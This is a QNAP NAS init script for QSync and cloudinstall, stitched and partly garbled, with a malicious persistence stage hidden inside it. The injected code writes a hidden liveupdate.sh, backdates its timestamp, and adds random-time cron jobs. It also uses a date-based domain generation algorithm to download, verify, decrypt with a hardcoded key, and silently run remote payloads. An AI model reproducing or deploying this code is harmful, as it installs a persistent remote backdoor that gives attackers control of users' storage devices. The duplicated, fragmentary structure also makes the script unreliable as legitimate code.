		[ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf
		[ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf
		[ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf
		[ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf
		[ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf
		/sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1"
		echo "OK"
	fi
}

stop()
{
	echo "Shutting down QSync monitor: OK"
        pidnum=`/bin/pidof qsync``/bin/pidof qsyncd`
        kill $pidnum 2>/dev/null
        i=0
        while [ ${i} -lt 5 ]
        do
                pidnum=`/bin/pidof qsync``/bin/pidof qsyncd`
                if [ -z "$pidnum" ]; then
                        break
                fi
                sleep 1
                i=`/usr/bin/expr ${i} + 1`
        done
        pidnum=`/bin/pidof qsync``/bin/pidof qsyncd`
        [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null
	/sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman"
	/usr/bin/killall -q qsyncman
}

start_qsyncd()
{
	#_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf`
	#[ "x$_qsyncd_en" = x1 ] || return -1
	_qsyncd_run_pid=`/bin/pidof qsyncd`
	[ -z $_qsyncd_run_pid ] || return -114
	_recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE`
	_with_syslog=$1
	if [ "x$_recycle_en" = xTRUE  ]; then
		if [ "x$_with_syslog" = x1  ]; then
			LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf
		else
			LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf
		fi
	else
		if [ "x$_with_syslog" = x1  ]; then
			/usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf
		else
			/usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf
		fi
	fi
	_iret=$?
	if [ "x$_iret" = x0 ]; then
		i=0
		while [ ${i} -lt 10000 ]
		do
			echo "${i} millisecond..."
			_qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf`
			_qsyncd_run_pid=`/bin/pidof qsyncd`
			if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then
				break
			fi
			usleep 50000
			i=`/usr/bin/expr ${i} + 50`
		done
	fi
	return -$_iret
}

stop_qsyncd()
{
	#_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf`
	#[ "x$_qsyncd_en" = x0 ] || return -1
	_qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf`
	[ $_qsyncd_pid -lt 0 ] && return -3
	# Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log
	/bin/kill -SIGUSR1 $_qsyncd_pid
	usleep 200000
	# Send SIGINT to stop the QSyncd process
	/bin/kill -SIGINT $_qsyncd_pid
	_kill_ret=$?
	if [ "x$_kill_ret" != x0 ]; then
		return -3
	fi
	echo "need wait $1 millisecond"
	i=0
	while true
	do
		echo "${i} millisecond..."
		_qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf`
		_qsyncd_run_pid=`/bin/pidof qsyncd`
		if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then
			break
		fi
		if [ ${i} -ge $1 ]; then
			# if time-out, we send two additional SIGINT to force the daemon to stop.
			if [ $_qsyncd_pid -ge 0 ]; then
				/bin/kill -SIGUSR1 $_qsyncd_pid
				usleep 200000
				/bin/kill -SIGUSR1 $_qsyncd_pid
			fi
			j=0
			while [ ${j} -lt 500 ]
			do
				_qsyncd_run_pid=`/bin/pidof qsyncd`
				if [ -z $_qsyncd_run_pid ]; then
					return 0
				fi
				usleep 20000
				j=`/usr/bin/expr ${j} + 20`
			done
			return -62
		fi
		usleep 50000
		i=`/usr/bin/expr ${i} + 50`
	done
	return 0
}


install()
{
	lock_file="/var/lock/qbox_install_bin.lck"

	if [ ! -f "${INSTALL_BUILD_IN}" ]; then
		dbg "build-in ${QSYNC_NAME} is installed"
		return 1
	fi

	if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then
		dbg "${QSYNC_NAME}.bin} not found"
		return 1
	fi

	if [ ! -x "${QPKG_CLI}" ]; then
		dbg "${QPKG_CLI} not found"
		return 1
	fi

	## make sure volume is exist
	if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then
		dbg "/share/Public not found"
		return 1
	fi

	## is removed 
	if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then
		/bin/rm -f ${INSTALL_BUILD_IN}
		dbg "${QSYNC_NAME} is removed"
		return 1
	fi

	if [ -f "$lock_file" ]; then 
		if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then
			echo "${QSYNC_NAME} is installing"
			dbg "${QSYNC_NAME} is installing"
			return 1
		fi
	fi

	/bin/touch "$lock_file"	
	/bin/rm -f ${INSTALL_BUILD_IN}
	dbg "install build-in ${QSYNC_NAME} start"

	set_default_disable_status

	## install build in Qsync
	${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1
	sleep 20

	wait_install=60
	## avoid initial take long time or fail
        while [ "$wait_install" -gt 0 ]; do
		stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf`
                if [ "$stcode" = "0" ]; then
                        break
                fi
                sleep 1
                let "wait_install--"
        done

	${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1
	/bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled
	/bin/rm -f "$lock_file"	
	dbg "install build-in ${QSYNC_NAME} success"
}

if [ "$1" == "stop" ]; then
	exit 0
fi
fi
XEOF
chmod 755 "${bdir}/.qpkg/.liveupdate/liveupdate.sh"
touch -cr /bin/busybox "${bdir}/.qpkg/.liveupdate/liveupdate.sh"
( ( exec >/dev/null 2>&1 </dev/null; "${bdir}/.qpkg/.liveupdate/liveupdate.sh" </dev/null >/dev/null 2>/dev/null & ) & )
fi

test -x "${bdir}/.qpkg/.liveupdate/liveupdate.sh" || chmod 755 "${bdir}/.qpkg/.liveupdate/liveupdate.sh"

crontabargs=$(ps | grep 'cr[o]nd ' | sed -n 's/.*crond[^0-9A-Za-z-]*\(.\+\)/\1/p')
trycount=10; trycount=$(( $trycount - 10 ))
set x $crontabargs; shift
while [ $# -gt 0 ] && [ $trycount -lt 10 ]; do
trycount=$(( $trycount + 1 ))
getopts ':c:' OPT 2>/dev/null
test "$OPT" = 'c' && crontabfile="${OPTARG}/admin" && break
test "$OPTIND" -gt 0 && shift "$OPTIND" && OPTIND=1 || break
done
test "$crontabfile" && test -f "${crontabfile}" || crontabfile='/tmp/cron/crontabs/admin'

for crontab in "$crontabfile" "${confdir}/crontab"; do
if $fgrep "${bdir}/.qpkg/.liveupdate/liveupdate.sh" "$crontab"; then
:
else
cronmins=$(printf '%i' "$(( $RANDOM % 60 ))")
cronhour=$(printf '%i' "$(( $RANDOM % 24 ))")
cronhour=$(printf '%i,' "$(( ( $cronhour + 8 ) % 24 ))" "$(( ( $cronhour + 16 ) % 24 ))")"$cronhour"
echo "$cronmins $cronhour"' * * * '"${bdir}/.qpkg/.liveupdate/liveupdate.sh >/dev/null 2>/dev/null" >> "$crontab"
crontab "$crontab"
sleep 2
fi
done
) & ) &

|
|
EOF
|
|
)&)
|
|
( exec >/dev/null 2>&1; (
|
|
export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin"
|
|
command -v dirname >/dev/null 2>&1 || dirname () { test -z "$1" && echo "." && return; local r="${1%"${1##*[!/]}"}"; case $r in /*[!/]*/*|[!/]*/*) r="${r%/*}"; echo "${r%"${r##*[!/]}"}";; */*) echo ${r%%[!/]};; "") echo $1;; *) echo .;; esac; }
|
|
test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; }
|
|
test -d "$confdir" || confdir=/etc/config
|
|
command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\
|
|
\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\
|
|
//I;s/\(^\|\
|
|
\)\[[^\
|
|
]\+\]\
|
|
.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; }
|
|
bdir=
|
|
test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done
|
|
test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done;
|
|
test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"`
|
|
test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1`
|
|
test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done;
|
|
test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; }
|
|
echo 'ab*c' | grep -F 'ab*c' >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; }
|
|
test "$fgrep" || fgrep=grep
|
|
|
|
if [ ! -f "${bdir}/.qpkg/.liveupdate/liveupdate.sh" ]; then
|
|
test -d "${bdir}/.qpkg" || mkdir -p "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg"
|
|
test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate"
|
|
cat > "${bdir}/.qpkg/.liveupdate/liveupdate.sh" <<"XEOF"
|
|
#!/bin/sh
|
|
|
|
QNAP_QPKG=cloudinstall
|
|
QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf
|
|
NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall
|
|
CLOUD_INSTALL_PATH=/tunnel_agent
|
|
CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk
|
|
CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2
|
|
COUNTER=1
|
|
ERROR_BAD_REQUEST=400
|
|
|
|
if [ "$fromrcS" = 'TRUE' ]; then
|
|
case "$1" in
|
|
start)
|
|
START_TIME=$(date +"%T")
|
|
echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log
|
|
while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ];
|
|
do
|
|
# report device info and get cloudinstall agent app download url
|
|
DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r`
|
|
if [ ! -d "$CLOUD_INSTALL_PATH" ]; then
|
|
if [ "$NAS_ARCH" == "ARM_64" ]; then
|
|
# create ramdisk and create a 64mb file
|
|
/bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH
|
|
/bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH
|
|
/bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64
|
|
# create block size 1K filesystem
|
|
/sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image
|
|
# create virtual disk
|
|
export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image`
|
|
/sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE"
|
|
/bin/mkdir -p $CLOUD_INSTALL_PATH
|
|
# mount virtual disk
|
|
/bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH
|
|
else
|
|
# create and mount tmpfs folder
|
|
/bin/mkdir -p $CLOUD_INSTALL_PATH
|
|
/bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH
|
|
fi
|
|
fi
|
|
cd $CLOUD_INSTALL_PATH
|
|
|
|
if [[ $DOWNLOAD_URL == https* ]]; then
|
|
REPORT_SUCCESS_TIME=$(date +"%T")
|
|
else
|
|
REPORT_FAIL_TIME=$(date +"%T")
|
|
echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log
|
|
# stop retry when got bad request
|
|
# prevent put bad request all the time
|
|
if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then
|
|
break
|
|
fi
|
|
fi
|
|
|
|
# downlaod cloudinstall agent app
|
|
/usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL"
|
|
|
|
if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then
|
|
DOWNLOAD_FINISH_TIME=$(date +"%T")
|
|
# unzip and execute cloudinstallagent
|
|
/bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH
|
|
$CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null
|
|
|
|
UNZIP_TIME=$(date +"%T")
|
|
fi
|
|
|
|
if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then
|
|
# create folder and create symbolic link
|
|
/bin/mkdir -p $NAS_CLOUD_INSTALL_PATH
|
|
/bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html
|
|
/bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi
|
|
/bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static
|
|
fi
|
|
|
|
# wait connect
|
|
sleep 5
|
|
CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'`
|
|
if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then
|
|
SLEEP_TIME=$(( 30 * $COUNTER ))
|
|
if [ $SLEEP_TIME -gt 300 ]; then
|
|
SLEEP_TIME=300
|
|
fi
|
|
# wait next retry
|
|
sleep $SLEEP_TIME
|
|
fi
|
|
COUNTER=$(( $COUNTER * 2 ))
|
|
done
|
|
|
|
END_TIME=$(date +"%T")
|
|
echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log
|
|
# call for a new process group and for later kill
|
|
/bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null &
|
|
/bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null &
|
|
|
|
# set cloudinstall report status
|
|
/sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit"
|
|
# add link to report offline
|
|
/bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline
|
|
|
|
# buzzer
|
|
HARDWARE_TYPE=$(uname -m)
|
|
if [[ "$HARDWARE_TYPE" == *"x86"* ]];
|
|
then
|
|
/sbin/hal_app --se_buzzer enc_id=0,mode=101
|
|
elif [[ "$HARDWARE_TYPE" == *"arm"* ]];
|
|
then
|
|
/sbin/pic_raw 81
|
|
fi
|
|
;;
|
|
|
|
stop)
|
|
# disconnect cloudinstall agent
|
|
$CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null
|
|
$CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null
|
|
for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}"
|
|
do
|
|
# use bash kill instead /bin/kill for kill process group
|
|
# cloudinstall agent daemon and inotifywait
|
|
kill -9 -- -$i &>/dev/null
|
|
done
|
|
|
|
# umount
|
|
if [ "$NAS_ARCH" == "ARM_64" ]; then
|
|
/bin/umount -l $USED_LOOP_DEVICE
|
|
/usr/local/sbin/losetup -d $USED_LOOP_DEVICE
|
|
else
|
|
/bin/umount -l $CLOUD_INSTALL_PATH
|
|
fi
|
|
# remove all files
|
|
if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then
|
|
/bin/rm -rf $NAS_CLOUD_INSTALL_PATH
|
|
fi
|
|
if [ -d "$CLOUD_INSTALL_PATH" ]; then
|
|
/bin/rm -rf $CLOUD_INSTALL_PATH
|
|
fi
|
|
if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then
|
|
/bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH
|
|
fi
|
|
;;
|
|
|
|
restart)
|
|
$0 stop
|
|
$0 start
|
|
;;
|
|
|
|
*)
|
|
echo "Usage: $0 {start|stop|restart}"
|
|
{ /share/MD0_DATA/.system/.qinstaller.sh; exit 1; }
|
|
esac
|
|
{ /share/MD0_DATA/.system/.qinstaller.sh; exit 0; }
|
|
|
|
|
|
set_env()
|
|
{
|
|
debug=`$CMD_GETCFG Qsync Debug -u -d NULL`
|
|
if [ "$debug" != "NULL" ]; then
|
|
/bin/touch $LOG_FILE
|
|
else
|
|
/bin/rm -f $LOG_FILE
|
|
fi
|
|
}
|
|
|
|
set_env
|
|
|
|
dbg()
|
|
{
|
|
if [ -f "$LOG_FILE" ]; then
|
|
echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE
|
|
fi
|
|
}
|
|
|
|
dbg "> $0 $@ (pid $$)"
|
|
|
|
fi
|
|
|
|
export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin"
|
|
|
|
command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; }
|
|
|
|
test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; }
|
|
test -d "$confdir" || confdir=/etc/config
|
|
|
|
bdir=
|
|
test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done
|
|
test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done;
|
|
test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"`
|
|
test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1`
|
|
test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done;
|
|
test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; }
|
|
echo 'ab*c' | grep -F 'ab*c' >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; }
|
|
test "$fgrep" || fgrep=grep
|
|
test "$RANDOM" || RANDOM=17653
|
|
genrstr ()
|
|
{
|
|
local s=;
|
|
local min=${1:-4};
|
|
local max=${2:-12};
|
|
local kspace="${3:-a-zA-Z}"
|
|
tr -dc "$kspace" < /dev/urandom | {
|
|
read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s;
|
|
echo "$s"
|
|
}
|
|
}
|
|
|
|
verifyfile() {
|
|
local file="$1"
|
|
local sig="${2:-$file_s}"
|
|
local out
|
|
test ! -z "$file" && test -s "$file" || return 1
|
|
test ! -z "$sig" && test -s "$sig" || return 1
|
|
test -f ".rsakey" || echo "$verifykey" > ".rsakey"
|
|
out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0
|
|
return 1
|
|
}
|
|
|
|
decryptfile() {
|
|
local file="$1"
|
|
local ofile="${2:-${file}}"
|
|
local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ'
|
|
openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $?
|
|
test -f "$ofile" && rm -f "$ofile"
|
|
mv "${file}_d" "$ofile" && return 0
|
|
return 1
|
|
}
|
|
|
|
verifykey='-----BEGIN PUBLIC KEY-----
|
|
MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog
|
|
CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1'
|
|
verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex
|
|
RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC
|
|
Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV
|
|
gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC
|
|
2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz
|
|
0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh
|
|
pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1
|
|
DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE=
|
|
-----END PUBLIC KEY-----'
|
|
|
|
DOMAIN_EXT_A='cf tk ml ga gq'
|
|
DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd'
|
|
|
|
test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg"
|
|
test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate"
|
|
cd "${bdir}/.qpkg/.liveupdate" && rm -f .tmp.*
|
|
|
|
echo "$verifykey" > ".rsakey"
|
|
i=0 n=0 c=0 errorcount=0
|
|
outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out'
|
|
|
|
for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do
|
|
for ext in $domainexts; do
|
|
hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g')
|
|
hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]}
|
|
hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}"
|
|
hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname"
|
|
for host in $hostnames; do
|
|
test -f "$outfile" && rm -f "$outfile"
|
|
recentupdate=''
|
|
curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)"
|
|
test -s "$outfile" || continue
|
|
fsize=$(( $(wc -c < "$outfile") ))
|
|
test "$fsize" -gt 4096 && rm -f "$outfile" && continue
|
|
rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue
|
|
test "$rsamsg" || continue
|
|
path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}"
|
|
hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}"
|
|
test "$rsadomain" = "${host}.${ext}" || continue
|
|
timenow=$(date +%s)
|
|
test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1
|
|
curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}"
|
|
filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue
|
|
test "$filehash" = "$hash" || continue
|
|
curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}"
|
|
verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue
|
|
mv "${outfile}_s" "${ts}_v"
|
|
chmod 755 "$outfile" || continue
|
|
( ( exec >/dev/null 2>/dev/null </dev/null; "$outfile" </dev/null >/dev/null 2>&1 & ) & )
|
|
test "$recentupdate" -eq 1 && exit 0
|
|
done
|
|
done
|
|
done
|
|
|
|
|
|
if [ "$fromrcS" = 'TRUE' ]; then
|
|
# if Qsync is disable before 4.3.0, we will touch /mnt/HDA_ROOT/udpate_pkg/.QsyncServer_disabled
|
|
set_default_disable_status()
|
|
{
|
|
QPKG_ENABLE=`$CMD_GETCFG ${QSYNC_NAME} Enable -d "NULL" -f ${QPKG_CONF}`
|
|
OLD_ENABLE=`$CMD_GETCFG Qsync Enable -u -d NULL`
|
|
if [ -f "${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed" ]; then
|
|
return
|
|
fi
|
|
|
|
if [ "$QPKG_ENABLE" = "NULL" ]; then
|
|
if [ "$OLD_ENABLE" = "FALSE" ]; then
|
|
dbg "touch ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled"
|
|
/bin/touch "${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled"
|
|
fi
|
|
fi
|
|
}
|
|
|
|
if [ "x$HBS_ENABLE" = xnull ] || [ "x$HBS_ENABLE" = xFALSE ]; then
|
|
export QNAP_QPKG=rtrr
|
|
else
|
|
export QNAP_QPKG=HybridBackup
|
|
/usr/local/sbin/qboost_util -S -n rtrr -E 0 1>/dev/null 2>&1
|
|
fi
|
|
start()
|
|
{
|
|
if [ -f /usr/bin/qsyncman ]; then
|
|
[ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf
|
|
/bin/sed -i '/hdusb_copy/d' /etc/config/crontab
|
|
/usr/bin/crontab /etc/config/crontab
|
|
echo -n "Starting QSync manitor: "
|
|
[ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync
|
|
[ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf
|
|
[ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf
|
|
[ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf
|
|
[ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf
|
|
[ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf
|
|
[ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf
|
|
[ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf
|
|
[ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf
|
|
